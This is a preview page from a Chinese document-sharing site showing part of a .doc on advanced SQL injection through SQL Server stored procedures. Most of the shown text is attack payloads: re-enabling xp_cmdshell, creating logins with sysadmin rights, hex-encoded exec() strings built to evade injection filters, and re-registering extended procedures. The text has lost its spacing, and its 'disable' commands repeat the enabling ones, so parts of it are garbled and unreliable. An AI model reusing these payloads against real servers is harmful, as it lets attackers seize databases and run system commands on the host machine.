SQL高级注入使用之存储过程.doc
上传人:sy****28 上传时间:2024-09-14 格式:DOC 页数:11 大小:85KB 金币:16 举报 版权申诉
预览加载中,请您耐心等待几秒...

SQL高级注入使用之存储过程.doc

SQL高级注入使用之存储过程.doc

预览

免费试读已结束,剩余 1 页请下载文档后查看

16 金币

下载此文档

如果您无法下载资料,请参考说明:

1、部分资料下载需要金币,请确保您的账户上有足够的金币

2、已购买过的文档,再次下载不重复扣费

3、资料包下载后请先用软件解压,在使用对应软件打开

SQL高级注入使用之存储过程以下这都是我们老师给我的学习资料呵呵!!其实我也有的看不懂,给朋友们中的一些高手看看!我还是菜鸟呢-_-!。。。。。。sql2005恢复xp_cmdshellEXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;关闭:EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;零、-----------------添加SA用户-----------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&1、execmaster.dbo.sp_addloginsystem;2、execmaster.dbo.sp_addloginsystem,system;3、execmaster.dbo.sp_addsrvrolememberitpro,sysadmin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&防注入sa:itpropass:itprodeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726fasvarchar(4000));exec(@s);declare@cvarchar(4000)set@c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726fasvarchar(4000));exec(@c);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696easvarchar(4000));exec(@a);--and1=1防注入sa:systempass:systemdeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656dasvarchar(4000));exec(@s);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696easvarchar(4000));exec(@a);--and1=1一、---------------恢复存储过程---------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&usemasterexecsp_addextendedprocxp_cmdshell,'xp_cmdshell.dll'execsp_dropextendedproc"xp_cmdshell"execsp_addextendedproc'xp_cmdshell','xpsql70.dll'execsp_dropextendedproc'xp_cmdshell'execsp_addextendedproc'xp_cmdshell','xpweb70.dll'execsp_addextendedprocxp_dirtree,'xpstar.dll'execsp_addextendedprocxp_enumgroups,'xplog70.dll'execsp_addextendedprocxp_fixeddrives,'xpstar.dll'execsp_addextendedprocxp_loginconfig,'xplog70.dll'execsp_addextendedprocxp_enumerrorlogs,'xpstar.dll'execsp_